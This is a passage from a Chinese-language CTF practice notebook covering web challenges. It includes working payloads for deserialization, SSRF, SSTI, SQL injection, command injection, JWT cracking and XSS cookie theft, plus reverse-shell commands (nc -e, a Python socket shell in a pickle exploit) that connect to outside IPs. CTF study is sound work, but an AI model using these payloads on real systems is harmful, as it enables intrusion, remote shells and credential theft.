username填入8组\0\0\0:
1
O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
手动补个填充用的字符k,并且补充闭合符号:";,这样才能让语法结构完整:
1
O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
由于evil类有__wakeup,这里把evil对象数量+1:
1
O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
现在往靶机POST数据:
1
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
得到hint:
1
2
3
4
<?php
$hint = "index.cgi";
// You can't see me~
内容是:
1
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-694ded5b-418e6aeb2239bd6e336ba78e" }, "origin": "171.80.2.169", "url": "http://httpbin.org/get?name=Bob" }
我刚开始没看出来,然后理解了
这是个服务器的响应头,收到参数Bob,然后就生成url,发起请求。想到SSRF
这里改成其他参数,可以看到url也变了,这里使用伪协议读取一下:
1
/index.cgi?name=file:///etc/passwd
没有变化,是被过滤了,wp说file前面加空格就行,离谱。你们怎么那么天才
后记:这个绕过在以前刷的题我就写过。。。BUUCTF Web 刷题记录-[RoarCTF 2019]Easy Calc
老是刷过还忘了
1
/index.cgi?name= file:///etc/passwd
这杨就看到了,直接猜文件在根目录:
1
/index.cgi?name= file:///flag
sodirty
扫到备份www.zip
看源码,我以为是简单操作,首先新建用户,通过update修改名字,密码,年龄,符合条件后访问getflag就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
但是这里要求Admin常量key键对应的值要为请求体传入的password,Admin就一个键,默认是env里面的。这里蒙不中的。
知识点是原型链污染
update:
1
2
3
4
{
"attrkey":"__proto__.newpsw",
"attrval":"111222"
}
就是我在update里面修改原型的值,然后getflag:
1
2
3
4
{
"key":"newpsw",
"password":"111222"
}
Admin中没有这个键,它就会向原链找,最终找到我们修改的那个,然后登录成功。
知识点请看:狼组知识库 - nodejs原型链污染
Java EL表达式注入
知识点参考:Drunkbaby - Java 之 EL 表达式注入
writeup:ailx10 - Bugku-CTF-Java EL表达式注入
在那个输入IP的地方填写:
1
''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc 111.231.104.121 12138 -e /bin/sh'))
反弹shell的格式就是题目提示的。
以后细学,这些貌似在特招里不常见
社工-初步收集
有后台,下载辅助软件,逆向或者抓包都能得到邮箱账号和一个授权码:
1
2
bugkuku@163.com
XSLROCPMNWWZQDZL
这个实际上是能登录邮箱的,但是被前人删除了授权码,听说还有删关键信息邮件的,官方有补档,但是没办法每次监控邮箱授权码有没有被篡改。
我登不上,看其他wp知道密码是:mara / 20010206,正经做是登录邮箱后翻邮件找到记录关键信息的,然后按生日生成密码,进行爆破。
登录上之后,在设置里能翻到flag
第四页
ez_java_serialize
Java题,留着吧
聪明的php
随便传个参就显示源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
foreach ($_GET AS $key => $value)意思是get传进去的参数组成KV结构,迭代每个key
看了评论才知道Smarty的模板注入,注入点在最后一个$value。他的display方法会造成模板注入,格式是{php函数}
由于提示了flag名是随机的,所以需要查目录,评论用的函数是passthru
passthru是PHP语言中一个常用的系统调用函数,其能够执行系统命令并将结果直接输出到浏览器,也就是说,它的输出是直接传送到输出流而不是通过函数的返回值实现。
1 2 $command = "ls -al"; passthru($command);上面的代码通过passthru函数执行了linux系统的ls命令,将结果直接输出在浏览器中。
传入{passthru("ls /")}可查看目录,使用{passthru("tac /_31545")}即可
第二种是:{var_dump(scandir("/"))}查看目录,{show_source("/_31545")}来读文件
Python Pickle Unserializer
知识点看好兄弟的:dr0n - python反序列化
扫描到source路径有源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@ Author: HeliantHuS
@ Codes are far away from bugs with the animal protecting
@ Time: 2021-08-05
@ FileName: main.py
"""
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return """
Not Found
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
""", 666, [("TIPS", "/source")]
@app.route("/source", methods=["GET"])
def source():
with open(__file__, "r") as fp:
return fp.read()
@app.route("/flag", methods=["PUT"])
def get_flag():
try:
data = request.json
if data:
return pickle.loads(base64.b64decode(data["payload"]))
return "MISSED"
except:
return "OH NO!!!"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80)
不太明白怎么不输出,能return missed,为什么上一个return不能返回我的whoami呢?
我传入了json,为啥还missed
这里看的wp:
使用生成payload的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64
import subprocess
class Exploit:
def __reduce__(self):
# 返回一个可调用对象和其参数
return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.162.13",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))
# 创建 payload
exploit = Exploit()
payload = base64.b64encode(pickle.dumps(exploit)).decode()
print(payload)
然后BP发包就行,源码里指定请求方式用PUT,put和post格式一样的,注意mime改一下application/json
这题以后细看吧,先放着
Java Fastjson Unserialize
先放着
CaaS1
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
模板注入点在{name}
焚靖也不行了
先放着
钱花了,先偷个payload吧:
1
name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read()
CBC
扫到.index.php.swp,使用vim -r .index.php.swp恢复文件,然后:w 1.txt保存到新文件。
源码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});
$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>
有点难,CBC没想到可以这样攻击,放个wp,以后再来做:Allard_ - Bugku Login4 (CBC字节翻转攻击)
先放着
noteasytrick
提示说 fastcoll 内置类反序列化
完全没听说过的东西,先放着
简单的Include
伪协议读取index.php,源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($page)) {
// WAF 1: 禁止目录遍历
if (strpos($page, "..") !== false) {
die("<div class='notice'>Hacker deteced! [No Traversal]</div>");
}
// WAF 2: 禁止直接读取flag
if (strpos($page, "flag") !== false) {
die("<div class='notice'>Hacker deteced! [No Flag]</div>");
}
// 漏洞点
include($page);
}
这里include了,php伪协议是读网站文件的。PHP 将 Data URL 内容当作 PHP 代码处理,直接用data伪协议执行命令
查目录和输出flag
1
2
<?php system("ls /")?>
<?php system("cat /fla?")?>
这里也能用scandir,var_dump,print_r等输出。
也能用短标签<?=,相当于<?php echo,这里短一点就:<?=exec("cat /fla?")?>
对了,system函数是直接执行系统命令,系统的任何回显都会被打印出来,这个函数在命令执行完返回的是命令退出状态。
而exec和shell_exec是返回命令结果,需要使用var_dump,print_r,echo等函数打印出来。
msg_board
先放着
好长好难,我用AI做不出来,AI说的我改造一下发留言了,伪装我写出来了
放个源码,以后再搞吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
session_start();
class User {
private $conn;
public $id;
public $username;
public $password;
public function __construct($id = null, $un="ctfer", $pwd="123" ) {
$this->conn = new PDO_connect();
if ($id) {
$this->id = $id;
$this->username = $un;
$this->password = $pwd;
}
}
public function log() {
try {
$sql = "SELECT * FROM users WHERE username = :username";
$pdo = $this->conn->get_connection();
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $this->username);
$stmt->execute();
$result = $stmt->fetch();
return $result;
} catch (PDOException $e) {
echo $e->getMessage();
}
}
public function __destruct() {
if ($this->username) {
$results = $this->log();
$log_mess = serialize($results);
file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . " at " . time() ."\n", FILE_APPEND);
}
}
}
class UserMessage {
private $filePath;
public function __construct() {
$this->filePath = "upload/ctfer_message.txt";
}
public function getFilePath() {
return $this->filePath;
}
public function writeMessage($message) {
$result = file_put_contents($this->filePath, $message);
return $result !== false;
}
public function deleteMessage($path) {
$path = $path . ".txt";
if (file_exists($path)) {
$result = unlink($path);
return $result !== false;
}
return false;
}
public function __set($name, $value) {
$this->$name = $value;
if ($this->filePath && file_exists($this->filePath)) {
$logContent = file_get_contents($this->filePath) . "</br>";
file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
}
}
class PDO_connect {
private $pdo;
public $con_options = [];
public $smt;
public $conn = null;
public function __construct() {
$this->con_options = array(
"dsn" => "sqlite:db.db",
'user' => 'ctf',
'password' => '123456',
'charset' => 'utf8',
'options' => array(
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
)
);
}
public function get_connection() {
try {
$this->conn = new PDO(
$this->con_options['dsn'],
$this->con_options['user'],
$this->con_options['password']
);
if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {
$this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);
}
if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {
$this->conn->setAttribute(
PDO::ATTR_DEFAULT_FETCH_MODE,
$this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]
);
}
} catch (PDOException $e) {
echo 'Connection Error: ' . $e->getMessage();
}
return $this->conn;
}
}
$user = new User(1, "ctfer");
$userMessage = new UserMessage($user->username);
$action = $_GET['action'] ?? '';
switch ($action) {
case 'write':
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = base64_decode($_POST['message']) ?? '';
if ($userMessage->writeMessage($message)) {
echo "留言已保存!";
$_SESSION['message_path'] = $userMessage->getFilePath();
} else {
echo "保存失败";
}
}
break;
case 'view':
$path = $userMessage->getFilePath();
if (file_exists($path)) {
echo "留言内容:<br>";
echo htmlspecialchars(file_get_contents($path));
} else {
echo "暂无留言";
}
break;
case 'delete':
$message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];
$msg = $userMessage->deleteMessage($message);
if ($msg) {
echo "留言已成功删除";
} else {
echo "操作失败,请重新尝试";
}
break;
default:
highlight_file(__FILE__);
}
?>
平台Web刷完了
比赛真题
inspect-me
Ctrl + U
my-first-sqli
1
1'or 1=1--+
万能密码
post-the-get
F12 改一下表单的GET为POST,删除input的disabled
内容随便写
sqli-0x1
略难,主要代码有的没看懂,而且不知道%09绕过。但是我知道用union select造假数据
F12提示:/pls_help
源码:注释是我写的
<?php
error_reporting(0);
error_log(0);
require_once("flag.php");
// waf
function is_trying_to_hak_me($str)
{
$blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
// 若含单引号
if (strpos($str, "'") !== false) {
//若 非 字母'字母 结构
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
//遍历黑名单,存在就true
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}
if (isset($_GET["pls_help"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
$user = $_POST["user"];
$pass = $_POST["pass"];
//只对user过滤
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}
$db = new SQLite3("/var/db.sqlite");
$result = $db->query("SELECT * FROM users WHERE username='$user'");
//语法出错就die
if ($result === false) die("pls dont break me");
//从sql语句里面匹配数据
else $result = $result->fetchArray();
if ($result) {
//用$把password分为两部分
$split = explode('$', $result["password"]);
// 前一部分是hash值
$password_hash = $split[0];
// 后面是盐
$salt = $split[1];
//若 输入的密码拼接盐,sha256之后等于输入的密码前半部分,就登录成功
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Hack.INI 9th - SQLi</title>
</head>
<body>
<?php if (isset($logged_in) && $logged_in): ?>
<p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
<?php else: ?>
<form method="post">
<input type="text" placeholder="Username" name="user" required>
<input type="password" placeholder="Password" name="pass" required>
<button type="submit">Login</button>
<br><br>
<?php if (isset($err)) echo $err; ?>
</form>
<?php endif; ?>
<!-- <a href="/?pls_help">get some help</a> -->
</body>
</html>
过滤那里,只过滤user,并且user可以有单引号,但是必须是被字母数字夹住。例如a'or这种
这里先执行
1
pass=123456&user=admin'order by 2;
写3报错,说明只有俩字段,根据后面那个fetcharray,我猜测就是username和password
这里随便构造密码和盐,我设置的密码是pass,盐是cc
passcc的sha256是:
1
2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934
所以构造:
1
pass=pass&user=adm'union select 'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';
此时就无法通过waf,因为存在空格单引号,这里空格用%09绕过:
1
pass=pass&user=adm'union%09select%09'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';
这里也可以用%0a绕过,参考:
baby lfi
英语,说支持两个语言,让传入language parameter,还提示了passwd
这里写:
1
/?language=/etc/passwd
baby lfi 2
需要点脑洞,就提示了languages目录,居然要写:
1
./languages/../../../../../../etc/passwd
challenge-creator
难,原型链污染加CSP,先放着
HEADache
太垃圾了这题,请求头里面写:
1
Wanna-Something: can-i-have-a-flag-please
至于为什么,猜的
lfi
../置空,双写绕过
1
/?language=....//....//....//....//....//etc/passwd
nextGen 1
有个JS,研究半天:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function myFunc(eventObj) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("content").innerHTML = xhttp.responseText;
}
};
xhttp.open("POST", '/request');
xhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhttp.send("service=" + this.attributes.link.value);
}
var dep = document.getElementsByClassName('department');
for (var i = 0; i < dep.length; i++) {
dep[i].addEventListener('click', myFunc);
}
就是那个下拉菜单,点击每一个都会调用myFunc,函数内容说什么没看懂,但是看到if结束后,有个发起post 的请求,那个send应该是post的body内容。所以在bp里面一直写service,但一直报服务器内部错误:Internal Server Error
所以猜测是SSRF打内网,这里用data协议:
1
service=data://text/plain;127.0.0.1
回显127.0.0.1,立马使用file协议,果然出来了:
1
service=file:///flag.txt
根据那个js,别忘了post的路径是/request
nextGen 2
相比上一题必须用IP访问了,并且禁用了127.0.0.1
这里可以用各种变体:
1
2
3
4
5
6
service=file://127.0.00.1/flag.txt
service=file://127.0.0.01/flag.txt
service=file://127.1/flag.txt
service=file://0177.1/flag.txt # 八进制
service=file://0x7f.1/flag.txt # 十六进制,注意这里不能大写
service=file://2130706433/flag.txt # 十进制整数形式
Whois
不会,看了wp发现很简单,query.php不带任何参数,居然显示源码:
<?php
error_reporting(0);
$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
if (isset($_GET['query']) && isset($_GET['host']) &&
is_string($_GET['query']) && is_string($_GET['host'])) {
$query = $_GET['query'];
$host = $_GET['host'];
if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
$output = "Invalid query or whois host";
} else {
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");
}
}
else {
highlight_file(__FILE__);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Whois</title>
</head>
<body>
<pre><?= htmlspecialchars($output) ?></pre>
</body>
</html>
就是要求都要字母数字组成,前面那个带点,无所谓。主要是他后面会拼接命令。
这里用%09(Tab制表符)不行,并没有让命令隔开,可以用0a(换行符),后面直接跟ls
1
/query.php?host=whois.verisign-grs.com%0a&query=ls
因为是直接执行命令,后面不用带分号之类的
然后有个flag,直接cat读取:
1
/query.php?host=whois.verisign-grs.com%0a&query=cat thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
这里能匹配成功是因为php的正则引擎,那个$符号不仅能匹配字符串末尾,还能匹配换行符。所以前面都符号,然后匹配到换行符结束。
所以,下面这种就不符合正则了:
1
/query.php?host=whois.verisign-grs.com%0acat&query=thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
adversal
先放着
filter-madness
源码里有info.php,打开是phpinfo,搜索flag就有
感觉是考察绕过啊,但是嫌太难给了flag?
charlottesweb
源码提示,打开是个flask源码,然后put方法访问:/super-secret-route-nobody-will-guess就行
zombie-101
试半天,以为是SSRF,看到提示:admin bot has visited your url还没反应过来
原来是XSS盗Cookie
在XSS.report网站,复制个payload进去,然后放第一个框提交,之后会跳转页面,把新页面的地址复制一下放第二个框,bot会去访问他,此时就偷到cookie了
回xss.report看flag
对于如何偷的,是这个网站自己的脚本
zombie-201-401
以后再研究
wp:https://web.archive.org/web/20230601090708/https://www.bugsbunnies.tk/2023/03/18/zombie.html
https://ctf.bugku.com/writeup/detail/id/1413.html
just-work-type
想到了jwt,没想到jwt爆破密钥
这里用的工具是jwt-tool
-C 指定爆破,-d指定字典:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
py jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOmZhbHNlLCJkYXRhIjp7InVzZXJuYW1lIjoiem9tYm8iLCJwYXNzd29yZCI6InpvbWJvIn19LCJpYXQiOjE3Njg0OTQ0NDcsImV4cCI6MTc2ODQ5ODA0N30.feEZbBp__ZCJYG1XoDrhckfs474qVHx-yZl3Gmw4MqM -d "D:\Tools\字典\SecDictionary\用户名o密码字典\TOP密码-增肥全量字典.txt" -C
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
C:\Users\Tajang/.jwt_tool/jwtconf.ini
Original JWT:
[+] 123 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "123"
后面我直接用这个工具改admin为true,-T是交互式修改参数
贴进去,刷新一下就行,刷新不要在F12里面修改完cookie后,再点一下hackbar的execute,因为hackbar自身就带cookie请求的,直接点的话请求头里的header还是旧的。
easy-pop
没有什么考点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class lemon{
protected $ClassObj;
function __construct()
{
$this->ClassObj=new evil();
}
function __destruct()
{
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "<img src=\"haha.png\" alt=\"\">";
}
}
class evil{
private $data;
function action(){
show_source("flag.php");
}
}
$a=new lemon();
print(urlencode(serialize($a)));
checkin
源代码里面,距离上方很大空间,要下滑才能看到